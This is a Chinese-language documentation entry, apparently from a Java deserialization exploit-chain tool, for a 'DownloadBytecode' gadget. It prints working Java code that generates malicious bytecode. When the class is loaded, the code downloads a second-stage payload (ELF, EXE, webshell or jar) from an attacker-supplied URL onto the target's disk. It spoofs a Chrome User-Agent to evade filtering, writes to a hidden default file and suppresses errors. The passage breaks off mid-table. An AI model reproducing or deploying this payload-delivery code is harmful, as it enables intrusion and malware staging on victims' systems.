- 类别:bytecode 别名:— 优先级:15
- 作者:Ar3h
- 依赖:无第三方依赖(内置 Javassist 生成字节码)
生成一段「从指定 URL 下载文件并落地保存」的恶意类字节码(byte[])。它是一个不执行命令、只做文件落地的链尾 sink,常用于把二级 payload(如 ELF/EXE/webshell/jar)投递到目标磁盘,再由其他手段触发。
- 入口
tags:Bytecode、ENDBytecode—— 产出原始字节码,被nextTags=Bytecode的上游 BytecodeConvert 承接。END—— 链的合法终点标记。
- 衔接
nextTags:无 —— 链尾 sink。 excludes:无。
Gadget 本体把用户填写的 url/path 反射写入模板类的静态字段:
@Param(name="url", description="download url")
public String url;
@Param(name="path", description="eg: /tmp/a.elf、1.exe")
public String path = ".tmp_data";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(DownloadBytecode.class);
javassistHelper.modifyStringField("url", this.url); // 写入下载地址
javassistHelper.modifyStringField("path", this.path); // 写入落地路径
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // 推进链上下文,本链无内层数据
return this.getObject();
}下载逻辑在模板类中,同样由静态初始化块触发:
public class DownloadBytecode {
public static String url;
public static String path;
public DownloadBytecode() {
int byteread = 0;
try {
URL url_ = new URL(url);
HttpURLConnection http = (HttpURLConnection) url_.openConnection();
http.setConnectTimeout(5000);
http.setRequestProperty("User-Agent", "Mozilla/5.0 ... Chrome/110.0.0.0 Safari/521.36"); // 伪装浏览器 UA
InputStream inStream = http.getInputStream();
FileOutputStream fs = new FileOutputStream(path); // 写入指定路径
byte[] buffer = new byte[1024];
while ((byteread = inStream.read(buffer)) != -1) {
fs.write(buffer, 0, byteread); // 1KB 分块拷贝
}
} catch (Exception exception) { /* 静默 */ }
}
static { new DownloadBytecode(); } // 类初始化即触发下载
}关键点:仅 GET 下载并落盘,不设置可执行位、不执行(这是与 DownloadExec 的核心区别)。连接超时 5 秒、伪装常见 Chrome UA 以规避简单的 UA 过滤。默认落地文件名为 .tmp_data(隐藏文件),建议按目标系统改成 /tmp/a.elf 或 1.exe。同样把逻辑放在 static {} + 构造函数,类被加载初始化即触发。
| 字段 | 名称 | 说